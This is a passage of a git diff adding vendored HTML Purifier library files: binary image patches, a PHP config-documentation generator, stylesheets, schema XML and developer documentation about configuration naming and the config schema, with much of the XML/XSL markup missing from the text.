z3$Yofb9I_|8}t1d;tc}d%a3*Pa8*+tKMw!10s$LWz8yr{bpN@@DEb-eufaUTR=e=R z-c!J==QSUKhyndfT?F1Auh72X9*1@U>CzNzxwvE|o^p2guH()@gPgos^^HIBB0*Xr za8-^TH1MHn|&x{^ncvs3zHLPJxWaCpC}Q}!oTVO8UUu=Jm$#{+Gd#F9Z+FA?$)el1yEFFv2`kM8Jn`hpn}V_tdS0Jg?db5oa!%Fy z#P}`bu9(xe5P7He=Apd|iVS0dbFp(VmJkG)lS}r?Uk!feA&CA^%wY~q7t{cS9czos z9^fm%8zrbXNnC_mhGNHCfRGZ{tielt$AdfTN6xTXG?~_ji&pN(`;qEbg8Uuaxw^Nq zC+K940x~wW2P1B2OZ6-d4#5C>a{Uj~m^-hvpG=9RKWcvB792>4g7n z9nWRJvXxO8u!o``g^85SwK9Z4a1bCa8?;IUfJN;8T!I6<#x)=UWemy7_jQ=VRPCvz zA^f8h&E~BDJVpD@Gi^)*7}M0kA%SUI%CI%AAmE)%eNZxA5KMaUH;*l7^-#Np0j&)-CZnB62bR|py+6{u4ZJqKg0a3se_+6I3pAL zZDLv3R+;%OBlUE!r`vvB>6cg0(b9Ig#TlidN3Yj?G^!Og_Jc<1qYW8FUyW26Fp2DO zhe|Fq%hu*U7W8C01=WsA68>$jg3oQrh;OagdBdgX1qbkkb3~v$UH9l@;C|uE_MDJv;|l@^RD` zp?nlpxGSEXls&qUD$2QwG7cY}@pz;?WA1(W&YMpxj_!57^Hs!8vVxceyA4_ALxCK= z&u>aUB=p1i`M%lRjM2;l#^QfDHj(syHB|TVkh*_-B7Ngu(tXsC)yUB$*mMgG(QA?> zfutQfCb@*Ai#JQbKuo@)wLfcgt8by_HvK52Sn-z0iy8Gu!Bgq&z%qI~p0%uY{>3Uc zh4cc-h92$RdYGxJi`PhnJg$f5-#vT!{A%s5S2L9eJ^Ct}%At$iNct*ZMAKjQmt1tq<2@OcD3 lo-qM`4DHmBD7o{OWgL>8(EB`q3wIF?&`{M;sZxT!_#dyj=oSC~ literal 0 HcmV?d00001 diff --git a/vendor/ezyang/htmlpurifier/art/logo.png b/vendor/ezyang/htmlpurifier/art/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..a037ec04b892e5f67963664cfd4acf0864178035 GIT binary patch literal 2658 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 + + + + + + + + + + + + + + + + + + + + image/svg+xml + + + + + + + + + diff --git a/vendor/ezyang/htmlpurifier/art/powered.png b/vendor/ezyang/htmlpurifier/art/powered.png new file mode 100644 index 0000000000000000000000000000000000000000..119c4b9c7c6231caed8665c49a79c92b07d74ece GIT binary patch literal 297 zcmV+^0oMMBP)1H+morGa(^oj^$4Jr)S-!1>SAHQK?DH>BO2|QLw^)n;}a5)8!Eb&tKtzf|FVR)?K zaXK++7!%+xxA8;{9*tCpVKM+bbchcKc$UKxZ&=-pCPhrXMFxz)wRhJvDUFbNIHd00 vh^v-HoQI)#*ujvO>P8RFCOYFt>n#BQCB>$Z=CFD<00000NkvXXu0mjfM=N;c literal 0 HcmV?d00001 diff --git a/vendor/ezyang/htmlpurifier/configdoc/generate.php b/vendor/ezyang/htmlpurifier/configdoc/generate.php new file mode 100644 index 00000000..e0c4e674 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/configdoc/generate.php @@ -0,0 +1,64 @@ + true +)); + +$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); +$interchange = new HTMLPurifier_ConfigSchema_Interchange(); +$builder->buildDir($interchange); +$loader = dirname(__FILE__) . '/../config-schema.php'; +if (file_exists($loader)) include $loader; +$interchange->validate(); + +$style = 'plain'; // use $_GET in the future, careful to validate! +$configdoc_xml = dirname(__FILE__) . '/configdoc.xml'; + +$xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); +$xml_builder->openURI($configdoc_xml); +$xml_builder->build($interchange); +unset($xml_builder); // free handle + +$xslt = new ConfigDoc_HTMLXSLTProcessor(); +$xslt->importStylesheet(dirname(__FILE__) . "/styles/$style.xsl"); +$output = $xslt->transformToHTML($configdoc_xml); + +if (!$output) { + echo "Error in generating files\n"; + exit(1); +} + +// write out +file_put_contents(dirname(__FILE__) . "/$style.html", $output); + +if (php_sapi_name() != 'cli') { + // output (instant feedback if it's a browser) + echo $output; +} else { + echo "Files generated successfully.\n"; +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css b/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css new file mode 100644 index 00000000..7af80d06 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css @@ -0,0 +1,44 @@ + +body {margin:0;padding:0;} +#content { + margin:1em auto; + max-width: 47em; + width: expression(document.body.clientWidth > + 85 * parseInt(document.body.currentStyle.fontSize) ? + "54em": "auto"); +} + +table {border-collapse:collapse;} +table td, table th {padding:0.2em;} + +table.constraints {margin:0 0 1em;} +table.constraints th { + text-align:right;padding-left:0.4em;padding-right:0.4em;background:#EEE; + width:8em;vertical-align:top;} +table.constraints td {padding-right:0.4em; padding-left: 1em;} +table.constraints td ul {padding:0; margin:0; list-style:none;} +table.constraints td pre {margin:0;} + +#tocContainer {position:relative;} +#toc {list-style-type:none; font-weight:bold; font-size:1em; margin-bottom:1em;} +#toc li {position:relative; line-height: 1.2em;} +#toc .col-2 {margin-left:50%;} +#toc .col-l {float:left;} +#toc ul {list-style-type:disc; font-weight:normal; padding-bottom:1.2em;} + +.description p {margin-top:0;margin-bottom:1em;} + +#library, h1 {text-align:center; font-family:Garamond, serif; + font-variant:small-caps;} +#library {font-size:1em;} +h1 {margin-top:0;} +h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; + font-size:1.3em; clear:both;} +h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } +h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } + +.deprecated {color: #CCC;} +.deprecated table.constraints th {background:#FFF;} +.deprecated-notice {color: #000; text-align:center; margin-bottom: 1em;} + +/* vim: et sw=4 sts=4 */ diff --git a/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl b/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl new file mode 100644 index 00000000..9b9794e0 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl @@ -0,0 +1,253 @@ + + + + + + + + + + + + + + + + <xsl:value-of select="$title" /> - <xsl:value-of select="/configdoc/title" /> + + + + +
+
+

+
+

Table of Contents

+
    + + + +
+
+
+

Types

+ +
+ +
+ + +
+ + +
+ type- +

:

+
+ +
+
+
+ + + + + + + +
  • + + + col-2 + + + margin-top:-em + + + +
      + + + +
    + +
    + +
  • + + + + + + + +
  • + +
  • +
    +
    + + + + +
    + + +

    No configuration directives defined for this namespace.

    +
    +
    +
    + +

    +
    + +
    + +
    +
    + + +
    + directive deprecated + + + +
    +
    + + + +

    +
    + + + + + + + + + + + + + + + +
    +
    + + + Aliases + + + , + + + + + + +
    + +
    +
    + +
    + + + + Used in + +
      + +
    + + +
    + +
  • + on lines + + + , + + +
  • +
    + + + + Version added + + + + + + Type + + + type type- + + #type- + + + (or null) + + + + + + + + Allowed values + + , + "" + + + + + + Default +
    + +
    + + + External deps + +
      + +
    + + +
    + +
  • +
    + + + + diff --git a/vendor/ezyang/htmlpurifier/configdoc/types.xml b/vendor/ezyang/htmlpurifier/configdoc/types.xml new file mode 100644 index 00000000..ee2c945a --- /dev/null +++ b/vendor/ezyang/htmlpurifier/configdoc/types.xml @@ -0,0 +1,69 @@ + + + +
    + A series of case-insensitive characters. Internally, upper-case + ASCII characters will be converted to lower-case. +
    +
    + A series of characters that may contain newlines. Text tends to + indicate human-oriented text, as opposed to a machine format. +
    +
    + A series of case-insensitive characters that may contain newlines. +
    +
    + An + integer. You are alternatively permitted to pass a string of + digits instead, which will be cast to an integer using + (int). +
    +
    + A + floating point number. You are alternatively permitted to + pass a numeric string (as defined by is_numeric()), + which will be cast to a float using (float). +
    +
    + A boolean. + You are alternatively permitted to pass an integer 0 or + 1 (other integers are not permitted) or a string + "on", "true" or "1" for + true, and "off", "false" or + "0" for false. +
    +
    + An array whose values are true, e.g. array('key' + => true, 'key2' => true). You are alternatively permitted + to pass an array list of the keys array('key', 'key2') + or a comma-separated string of keys "key, key2". If + you pass an array list of values, ensure that your values are + strictly numerically indexed: array('key1', 2 => + 'key2') will not do what you expect and emits a warning. +
    +
    + An array which has consecutive integer indexes, e.g. + array('val1', 'val2'). You are alternatively permitted + to pass a comma-separated string of keys "val1, val2". + If your array is not in this form, array_values is run + on the array and a warning is emitted. +
    +
    + An array which is a mapping of keys to values, e.g. + array('key1' => 'val1', 'key2' => 'val2'). You are + alternatively permitted to pass a comma-separated string of + key-colon-value strings, e.g. "key1: val1, key2: val2". +
    +
    + An arbitrary PHP value of any type. +
    +
    + + diff --git a/vendor/ezyang/htmlpurifier/configdoc/usage.xml b/vendor/ezyang/htmlpurifier/configdoc/usage.xml new file mode 100644 index 00000000..9767c7af --- /dev/null +++ b/vendor/ezyang/htmlpurifier/configdoc/usage.xml @@ -0,0 +1,603 @@ + + + + + 162 + + + 90 + 331 + + + 67 + 87 + 385 + + + 57 + + + + + 256 + + + + + 381 + + + + + 385 + + + + + 389 + + + + + 393 + + + + + 522 + + + + + 538 + + + + + 66 + + + + + 119 + + + + + 123 + + + + + 128 + + + + + 133 + + + + + 380 + 428 + + + + + 388 + 439 + + + + + 429 + + + + + 70 + + + + + 71 + + + + + 72 + + + + + 73 + + + + + 104 + + + + + 122 + + + 313 + + + + + 123 + + + + + 263 + + + + + 273 + + + + + 291 + + + + + 292 + + + + + 295 + + + + + 399 + + + + + 400 + + + + + 234 + + + 318 + 358 + + + 8 + + + 37 + + + 47 + + + 30 + + + + + 241 + + + + + 242 + + + + + 256 + + + + + 259 + + + + + 262 + + + + + 265 + + + 22 + + + + + 268 + + + + + 271 + + + + + 276 + + + + + 279 + + + + + 27 + + + + + 93 + + + + + 85 + + + + + 89 + + + 62 + + + + + 220 + 342 + + + + + 329 + + + + + 352 + + + + + 356 + + + 36 + + + + + 357 + + + + + 358 + + + 35 + + + + + 65 + + + 46 + + + + + 76 + + + 89 + + + + + 77 + + + + + 84 + + + + + 48 + + + + + 49 + + + + + 28 + + + + + 47 + + + + + 29 + + + 19 + + + + + 64 + + + + + 33 + + + + + 34 + + + + + 32 + + + + + 41 + + + + + 51 + + + + + 53 + 58 + + + + + 75 + + + + + 97 + + + + + 46 + + + + + 77 + + + + + 109 + + + + + 22 + + + + + 24 + + + 27 + + + + + 27 + + + + + 33 + + + + + 40 + + + + + 18 + + + 19 + + + + + 58 + + + + + 185 + + + + + 202 + 218 + + + + + 94 + + + + + 125 + + + + + 330 + + + + + 31 + + + + + 28 + + + 48 + + + + + 21 + + + 18 + + + 24 + + + + + 50 + + + + + 54 + + + + + 55 + + + + + 31 + + + + + 46 + + + + + 47 + + + + + 48 + + + + + 54 + + + + + 72 + + + + + 84 + + + + + 54 + + + + + 72 + + + 26 + + + + + 31 + + + + + 32 + + + + + 25 + + + + + 48 + + + + + 49 + + + + + 35 + + + diff --git a/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html b/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html new file mode 100644 index 00000000..5b7aaa3c --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html @@ -0,0 +1,26 @@ + + + + + + + +Advanced API - HTML Purifier + + + +

    Advanced API

    + +
    Filed under Development
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    + Please see Customize! +

    + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt b/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt new file mode 100644 index 00000000..6c4deb17 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt @@ -0,0 +1,30 @@ + +Code Quality Issues + +Okay, face it. Programmers can get lazy, cut corners, or make mistakes. They +also can do quick prototypes, and then forget to rewrite them later. Well, +while I can't list mistakes in here, I can list prototype-like segments +of code that should be aggressively refactored. This does not list +optimization issues, that needs to be done after intense profiling. + +docs/examples/demo.php - ad hoc HTML/PHP soup to the extreme + +AttrDef - a lot of duplication, more generic classes need to be created; +a lot of strtolower() calls, no legit casing + Class - doesn't support Unicode characters (fringe); uses regular expressions + Lang - code duplication; premature optimization + Length - easily mistaken for CSSLength + URI - multiple regular expressions; missing validation for parts (?) + CSS - parser doesn't accept advanced CSS (fringe) + Number - constructor interface inconsistent with Integer +Strategy + FixNesting - cannot bubble nodes out of structures, duplicated checks + for special-case parent node + RemoveForeignElements - should be run in parallel with MakeWellFormed +URIScheme - needs to have callable generic checks + mailto - doesn't validate emails, doesn't validate querystring + news - doesn't validate opaque path + nntp - doesn't constrain path + tel - doesn't validate phone numbers, only allows characters '+', '1-9', and 'x' + + vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt b/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt new file mode 100644 index 00000000..29a58ca2 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt @@ -0,0 +1,79 @@ + +Configuration Backwards-Compatibility Breaks + +In version 4.0.0, the configuration subsystem (composed of the outwards +facing Config class, as well as the ConfigSchema and ConfigSchema_Interchange +subsystems), was significantly revamped to make use of property lists. +While most of the changes are internal, some internal APIs were changed for the +sake of clarity. HTMLPurifier_Config was kept completely backwards compatible, +although some of the functions were retrofitted with an unambiguous alternate +syntax. Both of these changes are discussed in this document. + + + +1. Outwards Facing Changes +-------------------------------------------------------------------------------- + +The HTMLPurifier_Config class now takes an alternate syntax. The general rule +is: + + If you passed $namespace, $directive, pass "$namespace.$directive" + instead. + +An example: + + $config->set('HTML', 'Allowed', 'p'); + +becomes: + + $config->set('HTML.Allowed', 'p'); + +New configuration options may have more than one namespace, they might +look something like %Filter.YouTube.Blacklist. While you could technically +set it with ('HTML', 'YouTube.Blacklist'), the logical extension +('HTML', 'YouTube', 'Blacklist') does not work. + +The old API will still work, but will emit E_USER_NOTICEs. + + + +2. Internal API Changes +-------------------------------------------------------------------------------- + +Some overarching notes: we've completely eliminated the notion of namespace; +it's now an informal construct for organizing related configuration directives. + +Also, the validation routines for keys (formerly "$namespace.$directive") +have been completely relaxed. I don't think it really should be necessary. + +2.1 HTMLPurifier_ConfigSchema + +First off, if you're interfacing with this class, you really shouldn't. +HTMLPurifier_ConfigSchema_Builder_ConfigSchema is really the only class that +should ever be creating HTMLPurifier_ConfigSchema, and HTMLPurifier_Config the +only class that should be reading it. + +All namespace related methods were removed; they are completely unnecessary +now. Any $namespace, $name arguments must be replaced with $key (where +$key == "$namespace.$name"), including for addAlias(). + +The $info and $defaults member variables are no longer indexed as +[$namespace][$name]; they are now indexed as ["$namespace.$name"]. + +All deprecated methods were finally removed, after having yelled at you as +an E_USER_NOTICE for a while now. + +2.2 HTMLPurifier_ConfigSchema_Interchange + +Member variable $namespaces was removed. + +2.3 HTMLPurifier_ConfigSchema_Interchange_Id + +Member variable $namespace and $directive removed; member variable $key added. +Any method that took $namespace, $directive now takes $key. + +2.4 HTMLPurifier_ConfigSchema_Interchange_Namespace + +Removed. + + vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt b/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt new file mode 100644 index 00000000..d8c4d9dc --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt @@ -0,0 +1,165 @@ +Configuration naming + +HTML Purifier 4.0.0 features a new configuration naming system that +allows arbitrary nesting of namespaces. While there are certain cases +in which using two namespaces is obviously better (the canonical example +is where we were using AutoFormatParam to contain directives for AutoFormat +parameters), it is unclear whether or not a general migration to highly +namespaced directives is a good idea or not. + +== Case studies == + +=== Attr.* === + +We have a dead duck HTML.Attr.Name.UseCDATA which migrated before we decided +to think this out thoroughly. + +We currently have a large number of directives in the Attr.* namespace. +These directives tweak the behavior of some HTML attributes. They have +the properties: + +* While they apply to only one attribute at a time, the attribute can + span over multiple elements (not necessarily all attributes, either). + The information of which elements it impacts is either omitted or + informally stated (EnableID applies to all elements, DefaultImageAlt + applies to tags, AllowedRev doesn't say but only applies to a tags). + +* There is a certain degree of clustering that could be applied, especially + to the ID directives. The clustering could be done with respect to + what element/attribute was used, i.e. + + *.id -> EnableID, IDBlacklistRegexp, IDBlacklist, IDPrefixLocal, IDPrefix + img.src -> DefaultInvalidImage + img.alt -> DefaultImageAlt, DefaultInvalidImageAlt + bdo.dir -> DefaultTextDir + a.rel -> AllowedRel + a.rev -> AllowedRev + a.target -> AllowedFrameTargets + a.name -> Name.UseCDATA + +* The directives often reference generic attribute types that were specified + in the DTD/specification. However, some of the behavior specifically relies + on the fact that other use cases of the attribute are not, at current, + supported by HTML Purifier. + + AllowedRel, AllowedRev -> heavily specific; if ends up being + allowed, we will also have to give users specificity there (we also + want to preserve generality) DTD %Linktypes, HTML5 distinguishes + between and / + AllowedFrameTargets -> heavily specific, but also used by + and . Transitional DTD %FrameTarget, not present in strict, + HTML5 calls them "browsing contexts" + Default*Image* -> as a default parameter, is almost entirely exlcusive + to + EnableID -> global attribute + Name.UseCDATA -> heavily specific, but has heavy other usage by + many things + +== AutoFormat.* == + +These have the fairly normal pluggable architecture that lends itself to +large amounts of namespaces (pluggability may be the key to figuring +out when gratuitous namespacing is good.) Properties: + +* Boolean directives are fair game for being namespaced: for example, + RemoveEmpty.RemoveNbsp triggers RemoveEmpty.RemoveNbsp.Exceptions, + the latter of which only makes sense when RemoveEmpty.RemoveNbsp + is set to true. (The same applies to RemoveNbsp too) + +The AutoFormat string is a bit long, but is the only bit of repeated +context. + +== Core.* == + +Core is the potpourri of directives, mostly regarding some minor behavioral +tweaks for HTML handling abilities. + + AggressivelyFixLt + AllowParseManyTags + ConvertDocumentToFragment + DirectLexLineNumberSyncInterval + LexerImpl + MaintainLineNumbers + Lexer + CollectErrors + Language + Error handling (Language is ostensibly a little more general, but + it's only used for error handling right now) + ColorKeywords + CSS and HTML + Encoding + EscapeNonASCIICharacters + Character encoding + EscapeInvalidChildren + EscapeInvalidTags + HiddenElements + RemoveInvalidImg + Lexing/Output + RemoveScriptContents + Deprecated + +== HTML.* == + + AllowedAttributes + AllowedElements + AllowedModules + Allowed + ForbiddenAttributes + ForbiddenElements + Element set tuning + BlockWrapper + Child def advanced twiddle + CoreModules + CustomDoctype + Advanced HTMLModuleManager twiddles + DefinitionID + DefinitionRev + Caching + Doctype + Parent + Strict + XHTML + Global environment + MaxImgLength + Attribute twiddle? (applies to two attributes) + Proprietary + SafeEmbed + SafeObject + Trusted + Extra functionality/tagsets + TidyAdd + TidyLevel + TidyRemove + Tidy + +== Output.* == + +These directly affect the output of Generator. These are all advanced +twiddles. + +== URI.* == + + AllowedSchemes + OverrideAllowedSchemes + Scheme tuning + Base + DefaultScheme + Host + Global environment + DefinitionID + DefinitionRev + Caching + DisableExternalResources + DisableExternal + DisableResources + Disable + Contextual/authority tuning + HostBlacklist + Authority tuning + MakeAbsolute + MungeResources + MungeSecretKey + Munge + Transformation behavior (munge can be grouped) + + diff --git a/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html b/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html new file mode 100644 index 00000000..944c5a58 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dev-config-schema.html @@ -0,0 +1,412 @@ + + + + + + + + Config Schema - HTML Purifier + + + +

    Config Schema

    + +
    Filed under Development
    +
    +
    HTML Purifier End-User Documentation
    + +

    + HTML Purifier has a fairly complex system for configuration. Users + interact with a HTMLPurifier_Config object to + set configuration directives. The values they set are validated according + to a configuration schema, HTMLPurifier_ConfigSchema. +

    + +

    + The schema is mostly transparent to end-users, but if you're doing development + work for HTML Purifier and need to define a new configuration directive, + you'll need to interact with it. We'll also talk about how to define + userspace configuration directives at the very end. +

    + +

    Write a directive file

    + +

    + Directive files define configuration directives to be used by + HTML Purifier. They are placed in library/HTMLPurifier/ConfigSchema/schema/ + in the form Namespace.Directive.txt (I + couldn't think of a more descriptive file extension.) + Directive files are actually what we call StringHashes, + i.e. associative arrays represented in a string form reminiscent of + PHPT tests. Here's a + sample directive file, Test.Sample.txt: +

    + +
    Test.Sample
    +TYPE: string/null
    +DEFAULT: NULL
    +ALLOWED: 'foo', 'bar'
    +VALUE-ALIASES: 'baz' => 'bar'
    +VERSION: 3.1.0
    +--DESCRIPTION--
    +This is a sample configuration directive for the purposes of the
    +<code>dev-config-schema.html<code> documentation.
    +--ALIASES--
    +Test.Example
    + +

    + Each of these segments has a specific meaning: +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    KeyExampleDescription
    IDTest.SampleThe name of the directive, in the form Namespace.Directive + (implicitly the first line)
    TYPEstring/nullThe type of variable this directive accepts. See below for + details. You can also add /null to the end of + any basic type to allow null values too.
    DEFAULTNULLA parseable PHP expression of the default value.
    DESCRIPTIONThis is a...An HTML description of what this directive does.
    VERSION3.1.0Recommended. The version of HTML Purifier this directive was added. + Directives that have been around since 1.0.0 don't have this, + but any new ones should.
    ALIASESTest.ExampleOptional. A comma separated list of aliases for this directive. + This is most useful for backwards compatibility and should + not be used otherwise.
    ALLOWED'foo', 'bar'Optional. Set of allowed value for a directive, + a comma separated list of parseable PHP expressions. This + is only allowed string, istring, text and itext TYPEs.
    VALUE-ALIASES'baz' => 'bar'Optional. Mapping of one value to another, and + should be a comma separated list of keypair duples. This + is only allowed string, istring, text and itext TYPEs.
    DEPRECATED-VERSION3.1.0Not shown. Indicates that the directive was + deprecated this version.
    DEPRECATED-USETest.NewDirectiveNot shown. Indicates what new directive should be + used instead. Note that the directives will functionally be + different, although they should offer the same functionality. + If they are identical, use an alias instead.
    EXTERNALCSSTidyNot shown. Indicates if there is an external library + the user will need to download and install to use this configuration + directive. As of right now, this is merely a Google-able name; future + versions may also provide links and instructions.
    + +

    + Some notes on format and style: +

    + +
      +
    • + Each of these keys can be expressed in the short format + (KEY: Value) or the long format + (--KEY-- with value beneath). You must use the + long format if multiple lines are needed, or if a long format + has been used already (that's why ALIASES in our + example is in the long format); otherwise, it's user preference. +
    • +
    • + The HTML descriptions should be wrapped at about 80 columns; do + not rely on editor word-wrapping. +
    • +
    + +

    + Also, as promised, here is the set of possible types: +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    TypeExampleDescription
    string'Foo'String without newlines
    istring'foo'Case insensitive ASCII string without newlines
    text"A\nb"String with newlines
    itext"a\nb"Case insensitive ASCII string without newlines
    int23Integer
    float3.0Floating point number
    booltrueBoolean
    lookuparray('key' => true)Lookup array, used with isset($var[$key])
    listarray('f', 'b')List array, with ordered numerical indexes
    hasharray('key' => 'val')Associative array of keys to values
    mixednew stdClassAny PHP variable is fine
    + +

    + The examples represent what will be returned out of the configuration + object; users have a little bit of leeway when setting configuration + values (for example, a lookup value can be specified as a list; + HTML Purifier will flip it as necessary.) These types are defined + in + library/HTMLPurifier/VarParser.php. +

    + +

    + For more information on what values are allowed, and how they are parsed, + consult + library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php, as well + as + library/HTMLPurifier/ConfigSchema/Interchange/Directive.php for + the semantics of the parsed values. +

    + +

    Refreshing the cache

    + +

    + You may have noticed that your directive file isn't doing anything + yet. That's because it hasn't been added to the runtime + HTMLPurifier_ConfigSchema instance. Run + maintenance/generate-schema-cache.php to fix this. + If there were no errors, you're good to go! Don't forget to add + some unit tests for your functionality! +

    + +

    + If you ever make changes to your configuration directives, you + will need to run this script again. +

    +

    Adding in-house schema definitions

    + +

    + Placing stuff directly in HTML Purifier's source tree is generally not a + good idea, so HTML Purifier 4.0.0+ has some facilities in place to make your + life easier. +

    + +

    + The first is to pass an extra parameter to maintenance/generate-schema-cache.php + with the location of your directory (relative or absolute path will do). For example, + if I'm storing my custom definitions in /var/htmlpurifier/myschema, run: + php maintenance/generate-schema-cache.php /var/htmlpurifier/myschema. +

    + +

    + Alternatively, you can create a small loader PHP file in the HTML Purifier base + directory named config-schema.php (this is the same directory + you would place a test-settings.php file). In this file, add + the following line for each directory you want to load: +

    + +
    $builder->buildDir($interchange, '/var/htmlpurifier/myschema');
    + +

    You can even load a single file using:

    + +
    $builder->buildFile($interchange, '/var/htmlpurifier/myschema/MyApp.Directive.txt');
    + +

    Storing custom definitions that you don't plan on sending back upstream in + a separate directory is definitely a good idea! Additionally, picking + a good namespace can go a long way to saving you grief if you want to use + someone else's change, but they picked the same name, or if HTML Purifier + decides to add support for a configuration directive that has the same name.

    + + + +

    Errors

    + +

    + All directive files go through a rigorous validation process + through + library/HTMLPurifier/ConfigSchema/Validator.php, as well + as some basic checks during building. While + listing every error out here is out-of-scope for this document, we + can give some general tips for interpreting error messages. + There are two types of errors: builder errors and validation errors. +

    + +

    Builder errors

    + +
    +

    + Exception: Expected type string, got + integer in DEFAULT in directive hash 'Ns.Dir' +

    +
    + +

